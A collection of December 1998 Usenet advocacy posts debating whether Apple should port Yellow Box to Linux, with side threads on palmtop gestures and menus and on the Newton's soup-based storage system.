>[cut]
>
>> Now, if (hypothetical) this Slashdot poll revealed that 8000 out of 10K
>> responding would use YB for Linux, but would not use YB on MOXS, that would
>> suggest to Apple that there's a large potential market.
>
>Ah. Wouldn't that be a matter of *your* opinion? What happened to the
>market studies, the cost-benefit papers, the management review?
...as if those sorts would have any more of a
clue regarding how to collect hard data on the subject...
>
>Of course, out the window. Because naturally, no matter how much data
>one accumulates (contrary to the opinion of management-philes) you never
>really know for sure. That's why experience and feel for a market are as
>valuable as "business cases" and the Quick Study Answer I just finished
>writing for Ericsson Sweden.
>
>It's vaguely galling that you presume to have a singular perspective on
>the Linux market, but we have such a pattern emerging...
What's vaguely galling is that you would so casually
dismiss 10,000 datapoints just because they don't meet
your proof by authority heuristic.
--
Unix had startmenus and taskbars before Microsoft |||
even had a decent memory manager for DOS. / | \
In search of sane PPP docs? Try http://penguin.lvcm.com
From: anarkhos@anarchism.orgy (strobe)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: YB for Linux
Date: Wed, 09 Dec 1998 16:25:41 -0800
Organization: University of Oregon, Eugene
Message-ID: <anarkhos-ya02408000R0912981625410001@news>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74h12t$q78$1@nnrp1.dejanews.com> <anarkhos-ya02408000R0812982236290001@news> <74liso$npc$1@nnrp1.dejanews.com>
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In article <74liso$npc$1@nnrp1.dejanews.com>, malcolm@plsys.co.uk wrote:
> In article <anarkhos-ya02408000R0812982236290001@news>,
> anarkhos@anarchism.orgy (strobe) wrote:
> > Regarding the idea of yellow box for Linux.
> >
> > 1) Yellow box isn't going to be free. Licences have to be paid, probably
> > $20.
> >
>
> Not quite true: the initial release will have a cost associated -- largely
> due to licensing issues, primarily DPS -- however Apple has committed to a
> free runtime by about this time next year, using a different display system.
>
Well this fee isn't dependent on just DPS, there is LZW compression and
such. However Apple is no doubt working on meeting that goal. It would
certainly explain the delay in releasing YB. If they do, great, it won't
make porting to and supporting Linux any cheaper however.
>
> > 2) Linux will soon have WindowMaker which will use display ghostscript.
> >
>
> How "soon" is soon for acceptable performance. Recent reports I've heard re
> DGS indicate that it's quite a way from "consumer" quality thus far. See
> also recent threads in comp.sys.next.advocacy about other issues surrounding
> DGS -- look in particular for Mike Paquette and Henry McGilton.
>
Yes, I admit I was just trying to get Linus users off my back with an
aluminum carrot. But hey, if they want open source give those guys some
more encouragement (or even better, some assistance). Asking Apple to port
YB to Linux won't take a day either.
The argument to port YB to Linux can be wrapped up thusly: Companies
porting windows applications to Linux will use YB and recompile the same
applications for MacOS. Eventually this would make MacOS a more attractive
platform and Apple would increase hardware sales.
This is pie in the sky at the very least. most of this is based on Linux
hype. Linux is finally getting SOME commercial applications, most of which
are already available on MacOS (Like Corel and Metrowerks). Even if we
dismiss this first premise that companies want to port to and support
Linux, the second premise that this will make MacOS seems risky at best,
certainly not a sure thing most of these geeks seem to think. Adding to
this the fact most Linux users are not as willing to pay for software as
Mac users are, I'm willing to bet MacOS is a more compelling target
platform than Linux for windows software companies. That's what YB for
Windows is for.
YB for Linux would be a GAMBLE where Apple is betting there are many
companies who want to port their windows applications to Linux NOW, and
would do the same for Mac because it's another YB platform. Of these
applications we exclude those applications already available on the Mac,
and those such companies were already planning to port to MacOS. The
argument to blow money on this seems weak at best in my humble opinion.
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXT UI on Apple Palmtop? (was: Re: Apple Telegraphing Palm Plans?)
Date: 10 Dec 1998 00:23:14 GMT
Organization: AOL http://www.aol.com
References: <SPAMLESSforrest-0912981329440001@term6-33.vta.west.net>
Message-ID: <19981209192314.15586.00000295@ng-fi1.aol.com>
Gestures are commands made as discrete movements of the pen, for example:
^ to insert
x to delete
etc.
Forest said:
> i(f) I wanted to turn a light on (without
>walking across to room to hit a button) it would seem most obvious to me
>to select the "Lights" menu, "Living Room" submenu, and select "Main", to
>turn on the main light in the living room.
This is obvious?
Take a look at MagicCap (which I find sickeningly cloyingly cartoonish), there,
you'd tap the lightswitch in the living room.
<description of hypothetical file system snipped>
The Newton didn't even have a concept of system files, beyond application icons
in the Extras drawer and package listings for the various storage locations, a
lot more straightforward than the system which you describe.
<description of need to have two differently named address books snipped>
Trained handwriting requires a more endemic separation of users than
that--simply "signing" in when the system is turned on seems very appropriate
to me.
I said (quoted by Forest)
>>Uh, this has already been done--see PenPoint.
To which Forest replied:
>Yes, I know. Just because it's been done should I not include it in my
>hypothetical UI design?
You shouldn't include it without attribution/acknowledgement to my mind.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: anarkhos@anarchism.orgy (strobe)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: YB for Linux
Date: Wed, 09 Dec 1998 16:29:51 -0800
Organization: University of Oregon, Eugene
Message-ID: <anarkhos-ya02408000R0912981629510001@news>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74h12t$q78$1@nnrp1.dejanews.com> <anarkhos-ya02408000R0812982236290001@news> <74liso$npc$1@nnrp1.dejanews.com> <366EB82B.98E52CE7@trilithon.com>
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[blahblah]
> So we can argue that Ghostscript needs roughly a thirty percent
> speedup to be comparable to DPS. Course, it's not client-server
> based, and it crashes when I try to use Optima, but what the
> heck --- this is advocacy, where reality need not apply . . .
>
2 cents...
Apple is dumping DPS. Adobe made it VERY clear they want DPS to DIE.
Nobody is quite sure what will be used in MacOS X, however Apple made it
clear DPS calls will not be supported. One good thing about ghostscript is
OpenStep developers wanting to port their applications to YB and use DPS
calls will have a cheap method to cross the gap.
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Wed, 9 Dec 1998 18:25:17 -0600
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <74n4f3$12hu4@odie.mcleod.net>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <F3nKAF.BIp@T-FCN.Net> <366D5941.F16608B5@ericsson.com> <F3nxuJ.IzF@T-FCN.Net> <74k742$1fk$1@murdoch.acc.Virginia.EDU> <F3o8Mr.17D@T-FCN.Net> <366F09C7.47209D76@ericsson.com>
Pardon my steam of consciousness below:
Yellow Box can and should work well with LINUX. I think we all agree to
that. As much as I would like a free Open Source Yellow Box, I would be
happy with Yellow Box for LINUX even if it cost as much or more than Yellow
Box for NT. As a developer of commercial Yellow Box applications, I would
like to see my application deployment options as broad as possible. LINUX
and Opens BSD and Solaris are all Excellent deployment options in addition
to MacOSXS and NT/95/98.
Openstep for Solaris exists today. The SPARCstation 20 next to me is
running Openstep on top of Solaris. Unfortunately, I doubt Sun wants to
sell any more copies that potentially cannibalize Java sales.
YellowBox for LINUX should not be technically hard. The Display Postscript
system is probably encumbered by restrictive licenses and tricky
implementation details. Actually the new graphics subsystem that Apple has
announced probably makes a port to LINUX even easier.
So, the bottom line is that I would like to have the option of YellowBox for
LINUX. I would like the option of an Openstep GUI for LINUX. I would like
to have YellowBox applications for LINUX. I would pay at least as much as I
currently pay for Openstep on NT. I don't think very many LINUX users would
pay for YellowBox. I don't think there is a very good market for
development tools for LINUX. I don't think Apple will ever spend much
money/time porting YellowBox to LINUX.
How about the following proposition. I will provide one employee half time
~1000 hours to assist with the port. My company and that employee will sign
whatever proprietary information agreements and NDAs required in order to
have access to the YellowBox source code for the port. If we get a few more
similar offers and a coherent distributed development environment then the
port does not have to cost Apple much at all. In exchange, Apple agrees to
provide YellowBox for LINUX "As Is" without any warrantee for a nominal fee.
They could call it an "educational seed" in the spirit of the early BSD
licenses.
Erik M. Buck
President EMB & Assoc. Inc.
From: seanl@cs.umd.edu (Sean Luke)
Newsgroups: comp.sys.next.advocacy,comp.sys.newton.misc
Subject: Re: NeXT UI on Apple Palmtop? (was: Re: Apple Telegraphing Palm Plans?)
Date: 10 Dec 1998 00:27:36 GMT
Organization: U of Maryland, College Park, MD 20742
Message-ID: <74n4ho$6ap$1@cronkite.cs.umd.edu>
References: <SPAMLESSforrest-0812981824360001@term6-19.vta.west.net> <19981209144308.22407.00000042@ng59.aol.com> <366edb29.0@news.depaul.edu>
NNTP-Posting-Date: 10 Dec 1998 00:27:36 GMT
As both a NeXTSTEP, Rhapsody *and* NewtonOS developer, I'd like to comment
on this interesting thread. I'm crossposting this to comp.sys.newton.misc
Will Adams (willadams@aol.com) wrote:
> I don't believe that menus are appropriate for small, hand-held
> screens--gestures are much more appropriate/efficient.
To some degree, this is like saying "I don't think keyboards are
appropriate for graphical interfaces -- mice are much more appropriate".
:-) In fact the NewtonOS, probably the most famous OS to use gestures,
also used buttons and menus in nearly every application. They're rather
useful too, believe me.
> <<Along the bottom would be a Shelf for commonly-used files and apps.>>
> Uh, this has already been done--see PenPoint.
The Newton does it as well, at least for Apps for the MP2000 and MP2100
Newtons. But as the concept of a "file" doesn't exist on NewtonOS per se,
it's really for commonly-used apps only.
Jonathan W Hendry (jhendry@shrike.depaul.edu) wrote:
> BTW, the Newton definitely isn't 'document based'. It's application
> based. You run and switch between apps. Documents don't exist, really.
> Which sucks, IMHO.
Your statement is formally true, but to your audience (NeXTSTEP people) it
implies that the Newton's approach is more like the Mac or Windows or
other "application-based" systems. It's not, not even remotely. The
Newton's radical storage system has no concept of "files" at all. It
simply has databases of data that can be operated on by many applications,
even simultaneously. Much of the conceptual justification for
"document-centrism" is tied inherently in the model of computers which
contain "applications" and differentiated "files" (or "documents"), in
large file system storage areas with things like windows and concepts like
"open" and "save" and "quit". None of this applies to the Newton's rather
unique operating system approach. For the Newton, the buzzword-compliance
of document-centrism loses much of its glitter; it's comparing apples and
oranges.
I think it's important to understand how the Newton's radical storage
system works, and why it's very elegant for a PDA (especially when
compared to the nasty WinCE and PalmOS traditional storage mechanisms).
So here goes... Apple recognized that the Newton needed to have a storage
mechanism where it wouldn't really matter when whole "file systems" would
just disappear when a user yanked out a Flash RAM card and put a new one
in. So the Newton has no such thing as a file system at all. Instead, it
has "Soups", "Stores", "Packages", and "Entries".
A Store is a volume. Newtons have a chunk of internal memory set apart as
a Store, and each Static RAM, ROM, or Flash RAM card inserted in a Newton
is a different Store.
Stores may hold Soups and Packages, which both may be tagged with a
"class", either provided with a default class or given one by the user.
This lets the user perceive these objects as being stored in a single
level of abstract "folders". However, unlike in a file system, these
folders are merely convenient user-specified groupings by class, not
actual storage relationships. Even if on different stores, Soups and
Packages of the same class will appear together to the user.
A Package is the equivalent of a NeXTSTEP bundle, a MacOS resource fork
(kinda), or a NeXTSTEP .app directory. Packages are typically application
programs, though they may be fonts or object-oriented application bundle
extensions (what the Newton calls "Stationery"), or whatnot. Packages are
smart; they come with their own installation, deletion, etc. scripts even
if they're not applications. These scripts can be very sophisticated; for
example, one Chinese font script I know will intelligently replace all the
system fonts in the Newton with the Chinese font (thus letting Chinese
appear in menus and buttons) when installed, and put them all back when
the package is removed temporarily or totally deleted. It's like having
Installer.app scripts built into every installable thing, be it an
application or a font.
A Soup is a database of Entries (I'll get to that), which may be indexed
with zero or more indices based on slots in each Entry. NewtonOS groups
all the Soups of the same name, over all its currently-used Stores, into
one unified database with that name. NewtonOS calls this a "Union Soup".
Applications access Soups (or more typically, Union Soups) in a way
similar to databases: they insert and delete Entries in the soup, and
perform queries on the soup, which return "cursors" (objects which iterate
over every Entry in the Soup matching that query). Indices take up more
space but allow much faster queries.
An Entry is an archived object. In NewtOS's radical OO programming
language (NewtonScript), objects are basically the equivalent of OPENSTEP
Dictionaries -- they're small hash tables of key/value pairs. You can
also store large binary chunks of data such as GIF images or sound files
("Virtual Binary Objects" in Newton parlance, "BLOBs" in relational
database parlance) in Soups as well, through a slightly different
mechanism. Within a Soup, Entries may also be tagged with a "class" ,
though again this is only a conceptual illusion. This allows users to
store different Entries inside different folders.
When inserted into a Union Soup, entries are placed (as an application
requests) in a particular Soup on a particular Store. When a user removes
a Store, or puts a new Store in, the applications' Union Soups
automagically adjust accordingly. Entries located on a removed store
disappear from the Union Soup, and Entries located on a newly-inserted
store magically appear in a Union Soup. Cursors automagically take this
into consideration as well.
So as an example: the Newton's most famous application (the Note Pad)
stores "Notes" which the user scribbles words and pictures on. Each note
is a NewtonScript object which is archived a single Entry in a Union Soup
that the Note Pad uses. Users can move these Entries from store to store,
store them in folders (underneath, by "classifying" them), delete them and
create new ones, create new kinds of note entries using plug-in
stationery, and display an overview of the whole Union Soup. It's
important to understand that unlike traditional models, where applications
"open" and "close" files and documents, Newton applications operate on all
their Entries together. Documents need not be "opened", "closed", and
"saved" -- they are simply selected and modified. Quite a different
feeling altogether.
And Soups are not tied to particular applications (though they're often
closely associated with particular applications). In fact a great many
applications twiddle with the Note Pad's soup, sucking information from it
or storing information to it. Even as the Note Pad's currently running.
It's just a database after all.
> The Newton had problems. Size. Weight. Expense. Speed (until
> the last two).
No doubt that until the MP2000, MP2100 and Emate300 came out, Newtons were
just...well, they were just...slow. The MP2000 was quite literally 10
times the speed of its predecessor (the MP130).
But oddly, current decent WinCE machines are the same price as the old
Newtons (in the $800-$1000 range, go figure). And they're *heavier* than
the Newtons too (except the Emate300). And slower than the two-year-old
MP2000 and MP2100 as well (until finally last month when the new HP
machines came out). *And* have a far worse battery life.
It's weirdly ironic that after watching the Newton get assailed for its
weight, battery life, expense, and speed, *two years later* Microsoft
would be pushing WinCE machines which are heavier, more expensive, slower,
and have a far shorter battery life.
Sean Luke
seanl@cs.umd.edu
From: anarkhos@anarchism.orgy (strobe)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: YB for Linux
Date: Wed, 09 Dec 1998 16:35:13 -0800
Organization: University of Oregon, Eugene
Message-ID: <anarkhos-ya02408000R0912981635130001@news>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74h12t$q78$1@nnrp1.dejanews.com> <anarkhos-ya02408000R0812982236290001@news> <366E28DA.7541CD0B@trilithon.com> <anarkhos-ya02408000R0912980058290001@news> <74n07n$vu0$1@nnrp1.dejanews.com>
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In article <74n07n$vu0$1@nnrp1.dejanews.com>, "Charles Swiger"
<chuck@codefab.com> wrote:
> In article <anarkhos-ya02408000R0912980058290001@news>,
> anarkhos@anarchism.orgy (strobe) wrote:
> [ ... ]
> > Well you're certainly making a case NOT to port YB to Linux, thanks. Not
> > only will Apple save money, they will save being jeered at by morons like
> > yourself.
>
> Was this necessary?
>
> -Chuck
Was it necessary to make assumptions about my mentality, my job (or
supposed lack thereof), and implying these made my judgement less clear, or
even laughable? Of course this doesn't make him a moron. What made him a
moron was he made every one of my points all the clearer. I'm still not
sure what side of the fence he thinks I was on.
Apple nor I need morons assuming our position and ranting without
knowing that party's position.
From: a1050pi@yahoo.com (Sheldon Gartner)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Thu, 10 Dec 1998 00:43:30 GMT
Organization: Airnews.net! at Internet America
Message-ID: <995C327DCEFD863F.A76458E6DE13A3BF.A2CD2B01816BA311@library-proxy.airnews.net>
References: <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74h12t$q78$1@nnrp1.dejanews.com> <366C14A2.183CC45@nstar.net> <74ho9a$fp3$1@nnrp1.dejanews.com> <smileyy-0712982013190001@209.50.122.242>
Abuse-Reports-To: abuse at airmail.net to report improper postings
NNTP-Proxy-Relay: library.airnews.net
NNTP-Posting-Time: Wed Dec 9 18:33:12 1998
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On Mon, 07 Dec 1998 20:13:19 -0500, smileyy@esm-software.com (Andrew
McCormick) wrote:
>In article <74ho9a$fp3$1@nnrp1.dejanews.com>, "Charles Swiger"
><chuck@codefab.com> wrote:
>
>>Just like Apple would gain customers making a YB port for _any_ platform you
>>care to name. Why wouldn't Apple port YB to every platform under the sun,
>>from Cray YMP's, SGI's, DEC VACen, or even Apple ]['s?
>
>Well, the nice idea would be:
>
>More target platforms for YB -> more developers of software for YB -> more
>software availability for Mac OS -> more Apple boxes sold.
>
>Whether it would work out? Who knows.
There are some interesting things noted at http://www.macosrumors.com/
Thing thing is...it appears we're at an "inflection point" in the OS
biz...that Apple might be able to use to its advantage. If it were to
take the long term approach and focus on making OSX run on Intel stuff
they might actually see some growth.
The more I think about Mac and open source, tho...Apple appears to be
in a rough spot. It'd be perfect for Apple to open source some of its
GUI tech, but I've decided it _would_ be potentially difficult for it
to make money off of such a decision...unless they were to use the
type of open source license that Sun has come up with where "we make
money when you make money."
It might go something like this--Apple focuses its hardware division
on making next generation PowerPC NetApps and (gasp!) wonderful
quality Wintel boxes that dual-boot Windoze/OSX.
Of course, IBM might just open source OS/2's GUI and make all of this
moot.
-l
---
ICQ#: 9393354 * "Whenever you find that you are on the side of
the majority, it is time to reform." -- Mark Twain
From: anarkhos@anarchism.orgy (strobe)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Wed, 09 Dec 1998 16:52:25 -0800
Organization: University of Oregon, Eugene
Message-ID: <anarkhos-ya02408000R0912981652250001@news>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <F3nKAF.BIp@T-FCN.Net> <366D5941.F16608B5@ericsson.com> <F3nxuJ.IzF@T-FCN.Net> <74k742$1fk$1@murdoch.acc.Virginia.EDU> <F3o8Mr.17D@T-FCN.Net> <366F09C7.47209D76@ericsson.com> <74n4f3$12hu4@odie.mcleod.net>
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[blahblah]
As a developer of commercial Yellow Box applications, I would
> like to see my application deployment options as broad as possible. LINUX
> and Opens BSD and Solaris are all Excellent deployment options in addition
> to MacOSXS and NT/95/98.
>
Unfortunately Apple doesn't and shouldn't care. The question is if there
are enough windows developers wanting to port to Linux using YB who do not
already support MacOS who would also support MacOS because it's another YB
platform. Right now that simply isn't the case.
> Openstep for Solaris exists today. The SPARCstation 20 next to me is
> running Openstep on top of Solaris. Unfortunately, I doubt Sun wants to
> sell any more copies that potentially cannibalize Java sales.
>
I don't see what this has to do with this thread. That being said, has
Sun said anything about OpenStep since Java? I think Sun realizes (if they
don't they are fools) that Java is more valuable for use in middleware, and
the more it plugs into existing frameworks the better. Certainly Sun has
more to gain from YB support than Microsoft rewriting Java.
> YellowBox for LINUX should not be technically hard. The Display Postscript
> system is probably encumbered by restrictive licenses and tricky
> implementation details. Actually the new graphics subsystem that Apple has
> announced probably makes a port to LINUX even easier.
Apple is dumping DPS, and they haven't finished the new display method.
If and when such things are finished perhaps they will be in a better
situation to gauge how costly Linux port and support would be. If Apple
found a magic pot of gold and were given the choice between porting to
Linux or Soplaris, I think they would choose Linux.
> So, the bottom line is that I would like to have the option of YellowBox for
> LINUX.
As would I, but everything said thus far is unproven and especially
risky for a company wish such limited resources.
> How about the following proposition. I will provide one employee half time
> ~1000 hours to assist with the port. My company and that employee will sign
> whatever proprietary information agreements and NDAs required in order to
> have access to the YellowBox source code for the port. If we get a few more
> similar offers and a coherent distributed development environment then the
> port does not have to cost Apple much at all. In exchange, Apple agrees to
> provide YellowBox for LINUX "As Is" without any warrantee for a nominal fee.
> They could call it an "educational seed" in the spirit of the early BSD
> licenses.
In other words support it much like they support OpenStep for Soplaris
today. Sounds like an interesting proposal. Why not make it official and
see if Apple salutes? If I were Apple I would keep one ear open while
working like mad on windows support and Carbon. If you make such a
proposal, you could also get some sources like StepWise to help get the
word out.
From: jedi@dementia.mishnet ()
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Wed, 9 Dec 1998 16:27:09 -0800
Organization: Posted via RemarQ, http://www.remarq.com
Message-ID: <slrn76u5at.1am.jedi@dementia.mishnet>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74h12t$q78$1@nnrp1.dejanews.com> <366C14A2.183CC45@nstar.net> <74ho9a$fp3$1@nnrp1.dejanews.com> <366C7F86.8B3709C5@ericsson.com> <74k1lk$e9j$1@nnrp1.dejanews.com> <366E8F49.AFB47B04@nstar.net> <slrn76tuhk.13g.jedi@dementia.mishnet> <366F04D7.186C7B85@ericsson.com>
On Wed, 09 Dec 1998 17:16:39 -0600, Michael Peck <michael.peck@ericsson.com> wrote:
>jedi@dementia.mishnet wrote:
>
>> >Ah. Wouldn't that be a matter of *your* opinion? What happened to the
>> >market studies, the cost-benefit papers, the management review?
>>
>> ...as if those sorts would have any more of a
>> clue regarding how to collect hard data on the subject...
>
>Thank you. You make my point for me.
Not really. It's a nasty domain. Statistics are bad enough
as a device for liars even with well behaved domains.
>
>[cut]
>
>> >It's vaguely galling that you presume to have a singular perspective on
>> >the Linux market, but we have such a pattern emerging...
>>
>> What's vaguely galling is that you would so casually
>> dismiss 10,000 datapoints just because they don't meet
>> your proof by authority heuristic.
>
>Who's dismissing what? Have you written Rob Malda asking him to post the
>poll? I have...
[deletia]
--
Unix had startmenus and taskbars before Microsoft |||
even had a decent memory manager for DOS. / | \
In search of sane PPP docs? Try http://penguin.lvcm.com
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: YB, IB, OPENSTEP, OPENSOURCE RAD...
Date: 10 Dec 1998 00:49:12 GMT
Organization: Primenet (602)416-7000
Message-ID: <74n5q8$cp5$1@nnrp03.primenet.com>
References: <1Ypb2.1190$f97.1320@news.rdc1.sdca.home.com> <366EB02D.B9CD5E3A@trilithon.com>
Henry McGilton <henry@trilithon.com> wrote:
: that makes sense, I'd take a look.
: For some years now I've been struggling with the notion of how I'm
: supposed to make a living by giving away software. If anybody has any
: Brilliant Insights, I'd love if they'd share them. So far I haven't
: been able to make it work financially.
I don't claim any Brilliant Insights. I would offer the observation that
there has always been free software and there has always been commercial
software (as well as limitless variations between the two.) Recently, the
free-ish segment has seen a lot of growth, but I haven't seen it really
slow the growth of the commercial segment. It may be that specific
product areas will become uncommercial (as have basic web servers), but it
doesn't reduce the number of commercial product areas (they are still
expanding).
If you have the misfortune to compete with good free software, you may
have to adjust. But don't worry, be happy. Run free software when it
suits you and write software for people who pay you.
If you choose to give away some source, that's fine too.
John
From: seanl@cs.umd.edu (Sean Luke)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.advocacy
Subject: Re: NeXT UI on Apple Palmtop? (was: Re: Apple Telegraphing Palm Plans?)
Date: 10 Dec 1998 00:32:31 GMT
Organization: U of Maryland, College Park, MD 20742
Message-ID: <74n4qv$6ap$2@cronkite.cs.umd.edu>
References: <SPAMLESSforrest-0812981824360001@term6-19.vta.west.net> <19981209144308.22407.00000042@ng59.aol.com> <SPAMLESSforrest-0912981329440001@term6-33.vta.west.net>
NNTP-Posting-Date: 10 Dec 1998 00:32:31 GMT
Forrest Cameranesi (SPAMLESSforrest@west.net) wrote:
> Please explain "gestures" to me, I don't quite understand. To my brain,
> menus are the obvious command-giving structure for non-physical things.
A "gesture" is a pen-scribble of some form which indicates something to
the computer. The most famous gesture is the Newton's "Scrub-out"
gesture, which deletes something on the screen. Other Newton gestures
include drawing carets which insert blank space or lines. But while
gestures make a lot of sense for cognitively simple things in a
handwriting-text area or a drawing area, for most purposes on-screen
widgets (buttons, menus) are better.
> The user would likely just have a notebook database, the email
> editor/viewer, an address book database, a calender, and the web
> editor/viewer, all layed out on his or her shelf.
See my other posting -- I think the Newton's your machine.
Sean Luke
seanl@cs.umd.edu
From: jedi@dementia.mishnet ()
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Wed, 9 Dec 1998 17:02:01 -0800
Organization: Posted via RemarQ, http://www.remarq.com
Message-ID: <slrn76u7c9.1bh.jedi@dementia.mishnet>
References: <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <74kgi8$dmf$2@samsara0.mindspring.com> <slrn76rims.ao4.jedi@dementia.mishnet> <74l0u0$i44@news1.panix.com> <FIiROLCWddLd-pn2-4mm75cSgFd2g@localhost> <anarkhos-ya02408000R0912981528050001@news>
On Wed, 09 Dec 1998 15:28:05 -0800, strobe <anarkhos@anarchism.orgy> wrote:
>In article <FIiROLCWddLd-pn2-4mm75cSgFd2g@localhost>, pit@iohk.SPAM-NOT.com
>(taiQ) wrote:
>
>[blahblah]
>
>> Picture a scenario where YB apps start mushrooming thanks largely to
>> the Linux port.
>
> BWAHAHAHAHAHHAHAHAHAHAHAHAHAHHAHAHA
>
> Let's see, there are many (actually the large majority) of commercial
>applications in WINDOWS. I can certainly picture a scenario of a FEW
>windows developers using yellow box. Linux? gimmie a break
...which means that Apple needs all the warm bodies with
cash and no infatuation with MS Office that it can get...
While it might be nice to consider Windows developers using
YB, they simply don't have a strong motivation to do so.
Whereas the Unix userbase is quite significant compared to
all the Apple developers that will be interested in YB. Just
about anything is at this point.
--
Unix had startmenus and taskbars before Microsoft |||
even had a decent memory manager for DOS. / | \
In search of sane PPP docs? Try http://penguin.lvcm.com
Message-ID: <366F266D.F4CBDB1C@nstar.net>
Date: Wed, 09 Dec 1998 19:39:57 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <F3nKAF.BIp@T-FCN.Net> <366D5941.F16608B5@ericsson.com> <F3nxuJ.IzF@T-FCN.Net> <74k742$1fk$1@murdoch.acc.Virginia.EDU> <F3o8Mr.17D@T-FCN.Net> <366F09C7.47209D76@ericsson.com> <74n4f3$12hu4@odie.mcleod.net>
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Michelle L. Buck wrote:
[cut]
> How about the following proposition. I will provide one employee half time
> ~1000 hours to assist with the port. My company and that employee will sign
> whatever proprietary information agreements and NDAs required in order to
> have access to the YellowBox source code for the port. If we get a few more
> similar offers and a coherent distributed development environment then the
> port does not have to cost Apple much at all. In exchange, Apple agrees to
> provide YellowBox for LINUX "As Is" without any warrantee for a nominal fee.
> They could call it an "educational seed" in the spirit of the early BSD
> licenses.
I will be customer #1. I would pay as much as OPENSTEP for Windows NT
costs.
MJP
From: smithwNOSPAM@tankNOSPAM.math.byu.edu (Dr. William V. Smith)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple's OS X Server web page hidden?
Date: 09 Dec 1998 18:45:36 -0700
Organization: Brigham Young University
Message-ID: <ygcn24w4vnj.fsf@tank.i-have-a-misconfigured-system-so-shoot-me>
References: <1Ypb2.1190$f97.1320@news.rdc1.sdca.home.com>
<74m666$fuj@shelob.afs.com> <913230061.688099@watserv4.uwaterloo.ca>
<74mnbq$hfo@shelob.afs.com> <74mre3$3aa$1@your.mother.com>
Indeed, OSXS seems to have disappeared from view at Apple.
From notices that no more RDR2 disks will sent to NDA email
which . . . . Anyway Apple seems to hope OSXS will go away.
My new g3 stays in its box while the older version runs DR2.
